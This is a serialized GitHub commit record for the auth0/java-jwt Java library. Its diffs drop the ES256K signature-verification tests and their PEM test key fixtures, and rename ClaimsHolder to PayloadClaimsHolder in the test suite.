-        byte[] bytes = new byte[64];
-        new SecureRandom().nextBytes(bytes);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
-        String jwt = "eyJhbGciOiJFUzI1NksifQo.eyJpc3MiOiJhdXRoMCJ9." + signature;
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidDERSignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        
-        byte[] bytes = new byte[64];
-        bytes[0] = 0x30;
-        new SecureRandom().nextBytes(bytes);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
-        String jwt = "eyJhbGciOiJFUzI1NksifQo.eyJpc3MiOiJhdXRoMCJ9." + signature;
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
+
     @Test
     public void shouldPassECDSA384VerificationWithJOSESignature() throws Exception {
         String jwt = "eyJhbGciOiJFUzM4NCJ9.eyJpc3MiOiJhdXRoMCJ9.50UU5VKNdF1wfykY8jQBKpvuHZoe6IZBJm5NvoB8bR-hnRg6ti-CHbmvoRtlLfnHfwITa_8cJMy6TenMC2g63GQHytc8rYoXqbwtS4R0Ko_AXbLFUmfxnGnMC6v4MS_z";u}(jr  (14631798f50704b67fa7f3e9aa249de9d1b89f1bjlr  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javajnr  modifiedjfr  K jgr  Kpjpr  Kpjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  Xo  @@ -33,11 +33,6 @@
 import static org.mockito.Mockito.when;
 
 public class ECDSABouncyCastleProviderTests {
-    
-    
-    private static final String PRIVATE_KEY_FILE_256K = "src/test/resources/ec256k-key-private.pem";
-    private static final String PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public.pem";
-    private static final String INVALID_PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public-invalid.pem";
 
     private static final String PRIVATE_KEY_FILE_256 = "src/test/resources/ec256-key-private.pem";
     private static final String PUBLIC_KEY_FILE_256 = "src/test/resources/ec256-key-public.pem";
@@ -78,113 +73,6 @@ public static void tearDown() {
     public void shouldPreferBouncyCastleProvider() {
         assertThat(Security.getProviders()[0], is(equalTo(bcProvider)));
     }
-
-    // Verify
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignature() throws Exception {
-        ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(key, null);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldThrowOnECDSA256KVerificationWithDERSignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(SignatureException.class));
-        exception.expectCause(hasMessage(is("Invalid JOSE signature format.")));
-    
-        String jwt = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.e30.MEUCIQDaCA-xzjHBCFhyAm56je5DXgylpUncBsQTxQT7AD19zwIgEjIm3lueII2W4pC_iQR6oRMHNtgqfAzTrWnV7DPNURk";
-        
-        ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(key, null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys() throws Exception {
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC")
-                , (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithProvidedPublicKey() throws Exception {
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        when(provider.getPublicKeyById("my-key-id")).thenReturn((ECPublicKey) publicKey);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWhenProvidedPublicKeyIsNull() {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalStateException.class));
-        exception.expectCause(hasMessage(is("The given Public Key is null.")));
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPublicKeyById("my-key-id")).thenReturn(null);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWithInvalidPublicKey() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWhenUsingPrivateKey() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalStateException.class));
-        exception.expectCause(hasMessage(is("The given Public Key is null.")));
-        Algorithm algorithm = Algorithm.ECDSA256K(null, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidJOSESignatureLength() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalArgumentException.class));
-        exception.expectCause(hasMessage(is("Last unit does not have enough valid bits")));
-        
-        String jwt = ES256K_JWT.substring(0,ES256K_JWT.length()-1);
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidJOSESignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        
-        byte[] bytes = new byte[64];
-        new SecureRandom().nextBytes(bytes);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
-        String jwt = "eyJhbGciOiJFUzI1NksifQo.eyJpc3MiOiJhdXRoMCJ9." + signature;
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidDERSignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        
-        byte[] bytes = new byte[64];
-        bytes[0] = 0x30;
-        new SecureRandom().nextBytes(bytes);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
-        String jwt = "eyJhbGciOiJFUzI1NksifQo.eyJpc3MiOiJhdXRoMCJ9." + signature;
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
     
     @Test
     public void shouldPassECDSA256VerificationWithJOSESignature() throws Exception {u}(jr  (2f053830821b194992e531d33c8203bb88338603jlr  Alib/src/test/java/com/auth0/jwt/impl/PayloadClaimsHolderTest.javajnr  renamedjfr  Kjgr  Kjpr  K	jqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolderTest.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolderTest.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolderTest.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -9,23 +9,22 @@
 import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
 
-public class ClaimsHolderTest {
+public class PayloadClaimsHolderTest {
 
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldGetClaims() {
         HashMap<String, Object> claims = new HashMap<>();
         claims.put("iss", "auth0");
-        ClaimsHolder holder = new ClaimsHolder(claims);
+        ClaimsHolder holder = new PayloadClaimsHolder(claims);
         assertThat(holder, is(notNullValue()));
         assertThat(holder.getClaims(), is(notNullValue()));
         assertThat(holder.getClaims(), is(instanceOf(Map.class)));
-        assertThat(holder.getClaims(), is(IsMapContaining.hasEntry("iss", (Object) "auth0")));
+        assertThat(holder.getClaims(), is(IsMapContaining.hasEntry("iss", "auth0")));
     }
 
     @Test
     public void shouldGetNotNullClaims() {
-        ClaimsHolder holder = new ClaimsHolder(null);
+        ClaimsHolder holder = new PayloadClaimsHolder(null);
         assertThat(holder, is(notNullValue()));
         assertThat(holder.getClaims(), is(notNullValue()));
         assertThat(holder.getClaims(), is(instanceOf(Map.class)));previous_filename:lib/src/test/java/com/auth0/jwt/impl/ClaimsHolderTest.javau}(jr  (45761de0de14de2d9ceffddc396daf599d2c544ejlr  ?lib/src/test/java/com/auth0/jwt/impl/PayloadSerializerTest.javajnr  modifiedjfr  Kjgr  Kjpr  K<jqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  Xy.  @@ -11,8 +11,8 @@
 import java.io.StringWriter;
 import java.util.*;
 
-import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.*;
 
 public class PayloadSerializerTest {
 
@@ -31,10 +31,9 @@ public void setUp() throws Exception {
         serializerProvider = mapper.getSerializerProvider();
     }
 
-    @SuppressWarnings("Convert2Diamond")
     @Test
     public void shouldSerializeEmptyMap() throws Exception {
-        ClaimsHolder holder = new ClaimsHolder(new HashMap<String, Object>());
+        PayloadClaimsHolder holder = new PayloadClaimsHolder(new HashMap<>());
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -43,7 +42,7 @@ public void shouldSerializeEmptyMap() throws Exception {
 
     @Test
     public void shouldSerializeStringAudienceAsString() throws Exception {
-        ClaimsHolder holder = holderFor("aud", "auth0");
+        PayloadClaimsHolder holder = holderFor("aud", "auth0");
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -52,7 +51,7 @@ public void shouldSerializeStringAudienceAsString() throws Exception {
 
     @Test
     public void shouldSerializeSingleItemAudienceAsArray() throws Exception {
-        ClaimsHolder holder = holderFor("aud", new String[]{"auth0"});
+        PayloadClaimsHolder holder = holderFor("aud", new String[]{"auth0"});
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -61,7 +60,7 @@ public void shouldSerializeSingleItemAudienceAsArray() throws Exception {
 
     @Test
     public void shouldSerializeMultipleItemsAudienceAsArray() throws Exception {
-        ClaimsHolder holder = holderFor("aud", new String[]{"auth0", "auth10"});
+        PayloadClaimsHolder holder = holderFor("aud", new String[]{"auth0", "auth10"});
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -70,7 +69,7 @@ public void shouldSerializeMultipleItemsAudienceAsArray() throws Exception {
 
     @Test
     public void shouldSkipSerializationOnEmptyAudience() throws Exception {
-        ClaimsHolder holder = holderFor("aud", new String[0]);
+        PayloadClaimsHolder holder = holderFor("aud", new String[0]);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -79,7 +78,7 @@ public void shouldSkipSerializationOnEmptyAudience() throws Exception {
 
     @Test
     public void shouldSerializeSingleItemAudienceAsArrayWhenAList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", Collections.singletonList("auth0"));
+        PayloadClaimsHolder holder = holderFor("aud", Collections.singletonList("auth0"));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -88,7 +87,7 @@ public void shouldSerializeSingleItemAudienceAsArrayWhenAList() throws Exception
 
     @Test
     public void shouldSerializeMultipleItemsAudienceAsArrayWhenAList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", "auth10"));
+        PayloadClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", "auth10"));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -97,7 +96,7 @@ public void shouldSerializeMultipleItemsAudienceAsArrayWhenAList() throws Except
 
     @Test
     public void shouldSkipSerializationOnEmptyAudienceWhenList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", new ArrayList());
+        PayloadClaimsHolder holder = holderFor("aud", new ArrayList<>());
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -106,7 +105,7 @@ public void shouldSkipSerializationOnEmptyAudienceWhenList() throws Exception {
 
     @Test
     public void shouldSkipNonStringsOnAudienceWhenSingleItemList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", Collections.singletonList(2));
+        PayloadClaimsHolder holder = holderFor("aud", Collections.singletonList(2));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -115,7 +114,7 @@ public void shouldSkipNonStringsOnAudienceWhenSingleItemList() throws Exception
 
     @Test
     public void shouldSkipNonStringsOnAudienceWhenList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", 2, "auth10"));
+        PayloadClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", 2, "auth10"));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -124,7 +123,7 @@ public void shouldSkipNonStringsOnAudienceWhenList() throws Exception {
 
     @Test
     public void shouldSkipNonStringsOnAudience() throws Exception {
-        ClaimsHolder holder = holderFor("aud", 4);
+        PayloadClaimsHolder holder = holderFor("aud", 4);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -133,7 +132,7 @@ public void shouldSkipNonStringsOnAudience() throws Exception {
 
     @Test
     public void shouldSerializeNotBeforeDateInSeconds() throws Exception {
-        ClaimsHolder holder = holderFor("nbf", new Date(1478874000));
+        PayloadClaimsHolder holder = holderFor("nbf", new Date(1478874000));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -142,7 +141,7 @@ public void shouldSerializeNotBeforeDateInSeconds() throws Exception {
 
     @Test
     public void shouldSerializeIssuedAtDateInSeconds() throws Exception {
-        ClaimsHolder holder = holderFor("iat", new Date(1478874000));
+        PayloadClaimsHolder holder = holderFor("iat", new Date(1478874000));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -151,7 +150,7 @@ public void shouldSerializeIssuedAtDateInSeconds() throws Exception {
 
     @Test
     public void shouldSerializeExpiresAtDateInSeconds() throws Exception {
-        ClaimsHolder holder = holderFor("exp", new Date(1478874000));
+        PayloadClaimsHolder holder = holderFor("exp", new Date(1478874000));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -160,7 +159,7 @@ public void shouldSerializeExpiresAtDateInSeconds() throws Exception {
 
     @Test
     public void shouldSerializeCustomDateInSeconds() throws Exception {
-        ClaimsHolder holder = holderFor("birthdate", new Date(1478874000));
+        PayloadClaimsHolder holder = holderFor("birthdate", new Date(1478874000));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -171,7 +170,7 @@ public void shouldSerializeCustomDateInSeconds() throws Exception {
     public void shouldSerializeDatesUsingLong() throws Exception {
         long secs = Integer.MAX_VALUE + 10000L;
         Date date = new Date(secs * 1000L);
-        Map<String, Object> claims = new HashMap<String, Object>();
+        Map<String, Object> claims = new HashMap<>();
         claims.put("iat", date);
         claims.put("nbf", date);
         claims.put("exp", date);
@@ -187,7 +186,7 @@ public void shouldSerializeDatesUsingLong() throws Exception {
         nestedInList.add(Collections.singletonMap("nested", date));
         claims.put("nestedInList", nestedInList);
 
-        ClaimsHolder holder = new ClaimsHolder(claims);
+        PayloadClaimsHolder holder = new PayloadClaimsHolder(claims);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -206,7 +205,7 @@ public void shouldSerializeDatesUsingLong() throws Exception {
 
     @Test
     public void shouldSerializeStrings() throws Exception {
-        ClaimsHolder holder = holderFor("name", "Auth0 Inc");
+        PayloadClaimsHolder holder = holderFor("name", "Auth0 Inc");
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -215,7 +214,7 @@ public void shouldSerializeStrings() throws Exception {
 
     @Test
     public void shouldSerializeIntegers() throws Exception {
-        ClaimsHolder holder = holderFor("number", 12345);
+        PayloadClaimsHolder holder = holderFor("number", 12345);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -224,7 +223,7 @@ public void shouldSerializeIntegers() throws Exception {
 
     @Test
     public void shouldSerializeDoubles() throws Exception {
-        ClaimsHolder holder = holderFor("fraction", 23.45);
+        PayloadClaimsHolder holder = holderFor("fraction", 23.45);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -233,7 +232,7 @@ public void shouldSerializeDoubles() throws Exception {
 
     @Test
     public void shouldSerializeBooleans() throws Exception {
-        ClaimsHolder holder = holderFor("pro", true);
+        PayloadClaimsHolder holder = holderFor("pro", true);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -242,7 +241,7 @@ public void shouldSerializeBooleans() throws Exception {
 
     @Test
     public void shouldSerializeNulls() throws Exception {
-        ClaimsHolder holder = holderFor("id", null);
+        PayloadClaimsHolder holder = holderFor("id", null);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -253,7 +252,7 @@ public void shouldSerializeNulls() throws Exception {
     public void shouldSerializeCustomArrayOfObject() throws Exception {
         UserPojo user1 = new UserPojo("Michael", 1);
         UserPojo user2 = new UserPojo("Lucas", 2);
-        ClaimsHolder holder = holderFor("users", new UserPojo[]{user1, user2});
+        PayloadClaimsHolder holder = holderFor("users", new UserPojo[]{user1, user2});
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -264,7 +263,7 @@ public void shouldSerializeCustomArrayOfObject() throws Exception {
     public void shouldSerializeCustomListOfObject() throws Exception {
         UserPojo user1 = new UserPojo("Michael", 1);
         UserPojo user2 = new UserPojo("Lucas", 2);
-        ClaimsHolder holder = holderFor("users", Arrays.asList(user1, user2));
+        PayloadClaimsHolder holder = holderFor("users", Arrays.asList(user1, user2));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -274,18 +273,17 @@ public void shouldSerializeCustomListOfObject() throws Exception {
     @Test
     public void shouldSerializeCustomObject() throws Exception {
         UserPojo user = new UserPojo("Michael", 1);
-        ClaimsHolder holder = holderFor("users", user);
+        PayloadClaimsHolder holder = holderFor("users", user);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
         assertThat(writer.toString(), is(equalTo("{\"users\":{\"name\":\"Michael\",\"id\":1}}")));
     }
 
-    @SuppressWarnings("Convert2Diamond")
-    private ClaimsHolder holderFor(String key, Object value) {
-        Map<String, Object> map = new HashMap<String, Object>();
+    private PayloadClaimsHolder holderFor(String key, Object value) {
+        Map<String, Object> map = new HashMap<>();
         map.put(key, value);
-        return new ClaimsHolder(map);
+        return new PayloadClaimsHolder(map);
     }
 
 }
\ No newline at end of fileu}(jr  (61541ccffaf6106a60091d33eee6db0a927a780cjlr  9lib/src/test/java/com/auth0/jwt/interfaces/ClaimTest.javajnr  modifiedjfr  Kjgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -76,12 +76,12 @@ public Date asDate() {
         }
 
         @Override
-        public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {
+        public <T> T[] asArray(Class<T> clazz) throws JWTDecodeException {
             return null;
         }
 
         @Override
-        public <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException {
+        public <T> List<T> asList(Class<T> clazz) throws JWTDecodeException {
             return null;
         }
 u}(jr  (43038c8e8aeaf5896b697e176e13f62325f02d1djlr  -lib/src/test/resources/ec256k-key-private.pemjnr  removedjfr  K jgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/9955599c1fb3db9927ab438356f5ae18118631ae/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-private.pemjsr  https://github.com/auth0/java-jwt/raw/9955599c1fb3db9927ab438356f5ae18118631ae/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-private.pemjur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-private.pem?ref=9955599c1fb3db9927ab438356f5ae18118631aejwr  X!  @@ -1,5 +0,0 @@
------BEGIN PRIVATE KEY-----
-MIGEAgEAMBAGByqGSM49AgEGBSuBBAAKBG0wawIBAQQgN78SHuwC8BVLUbuEBXC9
-sn9LuX9a7yqIt1xaiPupqe6hRANCAAS7s8bnSsGqrv7YBqxqJiQKiyPJvcHTe2UG
-7FpOaAlqIUWL5xbpCZbcH9yqozS55KMVxG78KskeuET7hl01J6EU
------END PRIVATE KEY-----
\ No newline at end of fileu}(jr  (8809e21b0cb10683bf3ea51553cb631af16d4a03jlr  4lib/src/test/resources/ec256k-key-public-invalid.pemjnr  removedjfr  K jgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/9955599c1fb3db9927ab438356f5ae18118631ae/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public-invalid.pemjsr  https://github.com/auth0/java-jwt/raw/9955599c1fb3db9927ab438356f5ae18118631ae/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public-invalid.pemjur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public-invalid.pem?ref=9955599c1fb3db9927ab438356f5ae18118631aejwr  @@ -1,4 +0,0 @@
------BEGIN PUBLIC KEY-----
-MFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAEXzvxXn69y0I54+Yr0pMXqGyCb1R8D4dS
-xaYhaRuN2fsV+unbFWUYViRoYUgMAbmvnXzVmThLUeP/PTmlv9lm7Q==
------END PUBLIC KEY-----
\ No newline at end of fileu}(jr  (1513ed7005c34f927e6636482fb9aa0235e33c45jlr  ,lib/src/test/resources/ec256k-key-public.pemjnr  removedjfr  K jgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/9955599c1fb3db9927ab438356f5ae18118631ae/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public.pemjsr  https://github.com/auth0/java-jwt/raw/9955599c1fb3db9927ab438356f5ae18118631ae/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public.pemjur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public.pem?ref=9955599c1fb3db9927ab438356f5ae18118631aejwr  @@ -1,4 +0,0 @@
------BEGIN PUBLIC KEY-----
-MFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAEu7PG50rBqq7+2AasaiYkCosjyb3B03tl
-BuxaTmgJaiFFi+cW6QmW3B/cqqM0ueSjFcRu/CrJHrhE+4ZdNSehFA==
------END PUBLIC KEY-----
\ No newline at end of fileueu(0b63418b77296c5565b3257470c429811558a5e8}(sha(0b63418b77296c5565b3257470c429811558a5e8node_idEC_kwDOAQtL0doAKDBiNjM0MThiNzcyOTZjNTU2NWIzMjU3NDcwYzQyOTgxMTU1OGE1ZTgcommit}(author}(namenoetroemailnoel.trout@avinode.comdate2022-10-27T13:33:19Zu	committer}(j5t  GitHubj7t  noreply@github.comj9t  2022-10-27T13:33:19Zumessage!Merge branch 'master' into mastertree}(j-t  (94e75f7e39e74466a06ae6823e92b4c64659311eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/94e75f7e39e74466a06ae6823e92b4c64659311eujEt  `https://api.github.com/repos/auth0/java-jwt/git/commits/0b63418b77296c5565b3257470c429811558a5e8
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjWoifCRBK7hj4Ov3rIwAANiMIAKAjK3v34RIyo4fPjgDgVrba
AnxdKqfp5LoQD4s8qhPNf/XZ03c8APLIgzipSx7rM6ixw4nXZeiBx84v25ubLXXq
0XbbS7co5Am0kM42O3ScHYt7ONDUSC/1ZxR3zfZbebpXDoy30PfO+nrBYzTgQvNF
V91+R0D8BTua87LqIl0RuuxRMusA8eqWWvjsgrRKWJwDaF4jBfmw4lPN4XyKCg0D
U3KFaUodXFCtIYigHJKPLKf/n6BlgTtiOwwnRvt4sPW6q9TyOiejFlJCs9VvB0US
DC3QZKzobEAKvir1JW3VZBpY5PNg2jZW6B6FN3xOmnzeuOIFqlDmF2059PUJdEs=
=anJF
-----END PGP SIGNATURE-----
payloadX  tree 94e75f7e39e74466a06ae6823e92b4c64659311e
parent f96e4f4c5635167d02593a1da7a98686eaad75fb
parent 56e663c3b5830e0329160f2165043aff89f8d3bb
author noetro <noel.trout@avinode.com> 1666877599 +0200
committer GitHub <noreply@github.com> 1666877599 +0200

Merge branch 'master' into masteruujEt  \https://api.github.com/repos/auth0/java-jwt/commits/0b63418b77296c5565b3257470c429811558a5e8html_urlQhttps://github.com/auth0/java-jwt/commit/0b63418b77296c5565b3257470c429811558a5e8comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/0b63418b77296c5565b3257470c429811558a5e8/commentsj3t  }(loginnoetroidJOP&j/t  MDQ6VXNlcjE5Mjg4MTQz
avatar_url4https://avatars.githubusercontent.com/u/19288143?v=4gravatar_idh3jEt  #https://api.github.com/users/noetrojSt  https://github.com/noetro
followers_url-https://api.github.com/users/noetro/followers
following_url:https://api.github.com/users/noetro/following{/other_user}	gists_url3https://api.github.com/users/noetro/gists{/gist_id}starred_url:https://api.github.com/users/noetro/starred{/owner}{/repo}subscriptions_url1https://api.github.com/users/noetro/subscriptionsorganizations_url(https://api.github.com/users/noetro/orgs	repos_url)https://api.github.com/users/noetro/repos
